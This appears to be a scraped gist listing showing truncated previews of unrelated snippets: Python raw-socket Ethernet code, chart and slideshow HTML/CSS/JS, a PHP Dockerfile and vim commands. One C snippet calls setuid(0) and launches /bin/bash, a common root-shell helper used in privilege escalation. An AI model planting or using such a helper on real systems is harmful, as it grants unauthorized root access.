Go through this amazon link http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/install-LAMP.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import codecs | |
from struct import * | |
from stringexec import parseString | |
import scapy | |
src = b'\x08\x00\x27\xdd\xd7\x43' # destination MAC address | |
dst = b'\x08\x00\x27\x8e\x75\x44' # source MAC address | |
proto = b'\x88\xb5' | |
ETH_P_ALL = 3 | |
ETH_FRAME_LEN = 1514 # Max. octets in frame sans FCS |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import time | |
ETH_P_ALL = 3 | |
interface = 'lo' | |
dst = b'\x08\x00\x27\xdd\xd7\x43' # destination MAC address | |
src = b'\x08\x00\x27\x8e\x75\x44' # source MAC address | |
proto = b'\x88\xb5' # ethernet frame type | |
# print (payload) | |
# while True: | |
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ALL)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div id="chartContainer1" style="height: 500px; width: 100%;"></div> | |
<br/><br/><br/><br/> | |
<div id="chartContainer2" style="height: 500px; width: 100%;"></div> | |
<br/><br/><br/><br/> | |
<div id="chartContainer3" style="height: 500px; width: 100%;"></div> | |
<script src="https://canvasjs.com/assets/script/canvasjs.min.js"></script> | |
<script> | |
function chart(chartId = "chartContainer1", _data, nameChart) { | |
console.log(_data) | |
points = []; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<meta name="viewport" content="width=device-width, initial-scale=1"> | |
<style> | |
* {box-sizing: border-box} | |
body {font-family: Verdana, sans-serif; margin:0} | |
.mySlides {display: none} | |
img {vertical-align: middle;} | |
/* Slideshow container */ | |
.slideshow-container { | |
max-width: 1000px; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* {box-sizing: border-box} | |
body {font-family: Verdana, sans-serif; margin:0} | |
.mySlides {display: none} | |
img {vertical-align: middle;} | |
/* Slideshow container */ | |
.slideshow-container { | |
max-width: 1000px; | |
position: relative; | |
margin: auto; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var slideIndex = 1; | |
showSlides(slideIndex); | |
function plusSlides(n) { | |
showSlides(slideIndex += n); | |
} | |
function currentSlide(n) { | |
showSlides(slideIndex = n); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
int main() | |
{ | |
setuid(0); | |
system("/bin/bash"); | |
return 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
RUN apt update | |
RUN apt upgrade -y | |
RUN apt install -y apt-utils | |
RUN a2enmod rewrite | |
RUN apt install -y libmcrypt-dev | |
RUN docker-php-ext-install mcrypt | |
RUN apt install -y libicu-dev | |
RUN docker-php-ext-install -j$(nproc) intl | |
RUN apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng12-dev | |
RUN docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 4 spaces to 2 spaces | |
%s;^\(\s\+\);\=repeat(' ', len(submatch(0))/2);g | |
// Tab to 2 spaces | |
:%s/\t/ /g |